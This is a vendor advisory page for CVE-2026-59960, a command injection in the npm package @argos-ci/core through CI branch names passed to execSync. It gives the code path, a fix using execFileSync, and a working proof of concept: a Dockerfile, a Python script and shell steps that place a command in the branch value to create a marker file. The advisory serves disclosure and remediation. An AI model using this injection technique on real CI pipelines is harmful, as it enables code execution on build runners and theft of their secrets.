CVE-2026-59960

CVE-2026-59960 is a high-severity OS command injection vulnerability in @argos-ci/core (npm), affecting versions <= 6.2.0. It is fixed in 6.2.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@argos-ci/core: CI Branch Name OS Command Injection

CI Branch Name OS Command Injection in @argos-ci/core

@argos-ci/[email protected] passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).

Details

The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:

function gitFetch(input: { ref: string; depth: number; target: string }) {
  execSync(
    `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
  );
}

execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.

A secondary sink exists at packages/core/src/ci-environment/git.ts:67:

execSync(`git merge-base ${input.head} ${input.base}`)

Complete data flow (source → sink):

  1. packages/core/src/ci-environment/services/github-actions.ts:104, reads env.GITHUB_HEAD_REF without validation (source).
  2. packages/core/src/ci-environment/services/github-actions.ts:165, returns the branch from the CI context.
  3. packages/core/src/ci-environment/services/github-actions.ts:330, stores the value as branch.
  4. packages/core/src/config.ts:119-123, loads ciEnv?.branch into config.branch; only format: String is applied, no sanitization.
  5. packages/core/src/upload.ts:285, calls getMergeBaseCommitSha({ base, head: config.branch }) when the API returns hasRemoteContentAccess: false.
  6. packages/core/src/ci-environment/git.ts:123, passes attacker-controlled value as ref to gitFetch().
  7. packages/core/src/ci-environment/git.ts:89, sink: execSync( git fetch ... origin ${input.ref}:${input.target} ).

There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.

Recommended remediation, replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:

-import { execSync } from "node:child_process";
+import { execFileSync, execSync } from "node:child_process";

 function gitFetch(input: { ref: string; depth: number; target: string }) {
-  execSync(
-    `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
-  );
+  execFileSync("git", [
+    "fetch", "--force", "--update-head-ok",
+    "--depth", String(input.depth),
+    "origin", `${input.ref}:${input.target}`,
+  ]);
 }

 function gitMergeBase(input: { base: string; head: string }) {
-  return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+  return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
 }

PoC

Prerequisites:

  • Docker installed on the test machine.
  • Internet access to pull node:22 and install @argos-ci/[email protected] from npm.

Step 1, Build the Docker image:

docker build -t argos-vuln-001 \
  -f /path/to/vuln-001/Dockerfile \
  /path/to/reports/npmAI_634_argos-ci__argos-javascript/

The Dockerfile:

  • Uses node:22 as the base.
  • Creates a local bare git repository at /remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote.
  • Installs @argos-ci/[email protected] (which depends on @argos-ci/[email protected]) globally from the public npm registry.
  • Copies poc.py as the container entrypoint.

Step 2, Run the container:

docker run --rm argos-vuln-001

What the PoC (poc.py) does:

  1. Starts a local HTTP mock server on 127.0.0.1:7777 that returns {"hasRemoteContentAccess": false} for GET /v2/project, activating the getMergeBaseCommitSha() code path.
  2. Sets ARGOS_BRANCH to main$(touch${IFS}/tmp/argos-ci-cve-poc).
    • $(...) is shell command substitution.
    • ${IFS} expands to a space character, bypassing naive space-based filters, making the injected command touch /tmp/argos-ci-cve-poc.
  3. Runs argos upload <empty-dir> --files '*.png' with the malicious environment.
  4. Checks for the marker file /tmp/argos-ci-cve-poc.

Expected output:

============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS_BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================

The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.

Manual reproduction (without Docker):

mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git

# Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
  if (req.url === '/v2/project') {
    res.writeHead(200, {'content-type':'application/json'});
    res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
    return;
  }
  res.writeHead(200, {'content-type':'application/json'});
  res.end('{}');
}).listen(7777);
" &

mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
npx -y @argos-ci/[email protected] upload empty --files '*.png' || true

test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"

Reproduction artifacts

Dockerfile

FROM node:22

# Install git and Python 3
RUN apt-get update && \
    apt-get install -y --no-install-recommends git python3 && \
    rm -rf /var/lib/apt/lists/*

# Configure git identity for commits inside the container
RUN git config --global user.email "[email protected]" && \
    git config --global user.name "PoC Test" && \
    git config --global init.defaultBranch main

# Create a local bare repository that acts as the "origin" remote.
# This lets git fetch succeed (reaching a real remote is not required for the
# injection -- the shell expands $() before git connects -- but a working
# remote means getMergeBaseCommitSha() returns a real SHA and the full
# upload code-path is exercised without extra noise from git errors.)
RUN git init --bare /remote.git

# Create the working repository with the bare repo as origin
RUN git init /git-workspace && \
    cd /git-workspace && \
    git remote add origin /remote.git && \
    echo "initial" > README.md && \
    git add README.md && \
    git commit -m "Initial commit" && \
    git branch -M main && \
    git push -u origin main

# Copy the cloned repository source for reference / source evidence.
# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.
COPY repo /argos-repo

# Install the vulnerable @argos-ci/[email protected] (depends on @argos-ci/[email protected])
# from the public npm registry -- same version as the cloned repository.
RUN npm install -g @argos-ci/[email protected] --loglevel=warn

# Copy the Python PoC script
COPY vuln-001/poc.py /poc.py

# Run from inside the git workspace so that git commands find the correct repo
WORKDIR /git-workspace

ENTRYPOINT ["python3", "/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001 -- OS Command Injection in @argos-ci/[email protected]

Vulnerability: CWE-78 (OS Command Injection)
Affected file: packages/core/src/ci-environment/git.ts:87-90

The gitFetch() function passes user-controlled ref strings directly into an
execSync() template literal.  Node.js execSync() invokes /bin/sh -c "...", so
shell metacharacters in the string -- including $() command substitution --
are evaluated before git runs.

Attack chain (source -> sink):
  env.GITHUB_HEAD_REF / ARGOS_BRANCH
    -> config.ts:119-122 (String cast, no sanitisation)
    -> upload.ts:285   getMergeBaseCommitSha({ head: config.branch })
    -> git.ts:123      gitFetch({ ref: input.head, ... })
    -> git.ts:89       execSync(`git fetch ... origin ${input.ref}:${input.target}`)
                       ^^^^^^^^ shell injection sink

This script:
  1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
     for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
  2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value
     containing a $() command substitution.
  3. Checks for a filesystem artefact that proves execution.
"""

import json
import os
import subprocess
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

# File created by the injected command -- its existence proves execution.
MARKER_FILE = "/tmp/argos-ci-cve-poc"

# Port for the mock Argos API server.
MOCK_PORT = 7777


class MockArgosAPI(BaseHTTPRequestHandler):
    """Minimal mock of the Argos REST API.

    Only two responses matter:
    - GET  /v2/project -- must return hasRemoteContentAccess=false to trigger
                          the git-based merge-base discovery code-path.
    - POST /v2/builds  -- needs to return a recognisable structure so the SDK
                          does not abort before we can observe the side-effect.
    """

    def log_message(self, fmt, *args):
        # Suppress per-request log noise; PoC progress messages are enough.
        pass

    def _send_json(self, status: int, body: dict) -> None:
        raw = json.dumps(body).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(raw)))
        self.end_headers()
        self.wfile.write(raw)

    def do_GET(self):
        if self.path.rstrip("/") == "/v2/project":
            # hasRemoteContentAccess=false is the precondition that makes the
            # SDK call getMergeBaseCommitSha() instead of fetching from the
            # Git provider API.  This is the key to reaching the sink.
            self._send_json(200, {
                "id": "proj-1",
                "defaultBaseBranch": "main",
                "hasRemoteContentAccess": False,
            })
        else:
            self._send_json(200, {})

    def do_POST(self):
        # Drain request body to keep the connection clean.
        length = int(self.headers.get("Content-Length", 0))
        self.rfile.read(length)
        if "/builds" in self.path:
            # Return the minimal structure the SDK dereferences after POST /builds.
            self._send_json(201, {
                "id": "build-1",
                "url": "http://localhost/build/1",
                "screenshots": [],
                "pwTraces": [],
            })
        else:
            self._send_json(200, {})

    def do_PUT(self):
        length = int(self.headers.get("Content-Length", 0))
        self.rfile.read(length)
        self._send_json(200, {})


def start_mock_server() -> HTTPServer:
    server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server


def main():
    print("[*] VULN-001 PoC -- @argos-ci/[email protected] OS Command Injection")
    print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
    print()

    # Remove any stale marker from a previous run.
    if os.path.exists(MARKER_FILE):
        os.remove(MARKER_FILE)

    # Start the mock Argos API.
    server = start_mock_server()
    print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}")

    # Build the malicious branch name.
    # Breakdown:
    #   main              -- valid branch prefix so git ref looks plausible
    #   $(...)            -- shell command substitution, evaluated by /bin/sh
    #   touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
    #                        filters and forming "touch <path>"
    malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})"
    print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}")
    print(f"[*] Expected shell expansion: touch {MARKER_FILE}")
    print()

    # Empty upload directory -- no real screenshots needed.  The injection
    # occurs during merge-base discovery before any upload loop runs.
    upload_dir = "/tmp/argos-empty-upload"
    os.makedirs(upload_dir, exist_ok=True)

    env = dict(os.environ)
    env.update({
        "ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/",
        "ARGOS_TOKEN": "a" * 40,
        "ARGOS_COMMIT": "0" * 40,
        "ARGOS_BRANCH": malicious_branch,
        # Disable update-notifier noise inside the CLI.
        "NO_UPDATE_NOTIFIER": "1",
    })

    print("[*] Running: argos upload <empty-dir> --files '*.png'")
    result = subprocess.run(
        ["argos", "upload", upload_dir, "--files", "*.png"],
        env=env,
        capture_output=True,
        text=True,
        # CWD must be a git repository with an 'origin' remote so that
        # git fetch has a valid context.  /git-workspace is prepared in the
        # Dockerfile for this purpose.
        cwd="/git-workspace",
    )

    print(f"[*] CLI exit code : {result.returncode}")
    if result.stdout.strip():
        print(f"[*] CLI stdout    : {result.stdout.strip()[:600]}")
    if result.stderr.strip():
        print(f"[*] CLI stderr    : {result.stderr.strip()[:600]}")

    server.shutdown()
    print()

    # --- Verdict ---
    if os.path.exists(MARKER_FILE):
        print("=" * 60)
        print("[PASS] VULNERABILITY CONFIRMED")
        print(f"[PASS] Marker file exists: {MARKER_FILE}")
        print("[PASS] The shell command injected via ARGOS_BRANCH was executed")
        print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
        print("=" * 60)
        sys.exit(0)
    else:
        print("=" * 60)
        print("[FAIL] Marker file not found -- injection did not trigger.")
        print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
        print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
        print("=" * 60)
        sys.exit(1)


if __name__ == "__main__":
    main()

Impact

This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos, for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable, can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.

Who is impacted:

  • Any organization using @argos-ci/core (or the CLI @argos-ci/cli) in a CI pipeline where the project's Argos configuration has hasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.
  • The risk is highest in pull_request_target or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.
  • Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-59960 has a CVSS score of 7.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.2.1); upgrading removes the vulnerable code path.

Affected versions

@argos-ci/core (<= 6.2.0)

Security releases

@argos-ci/core → 6.2.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade @argos-ci/core to 6.2.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-59960? CVE-2026-59960 is a high-severity OS command injection vulnerability in @argos-ci/core (npm), affecting versions <= 6.2.0. It is fixed in 6.2.1. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
  2. How severe is CVE-2026-59960? CVE-2026-59960 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @argos-ci/core are affected by CVE-2026-59960? @argos-ci/core (npm) versions <= 6.2.0 is affected.
  4. Is there a fix for CVE-2026-59960? Yes. CVE-2026-59960 is fixed in 6.2.1. Upgrade to this version or later.
  5. Is CVE-2026-59960 exploitable, and should I be worried? Whether CVE-2026-59960 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-59960 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-59960? Upgrade @argos-ci/core to 6.2.1 or later.

Stop the waste.
Protect your environment with Kodem.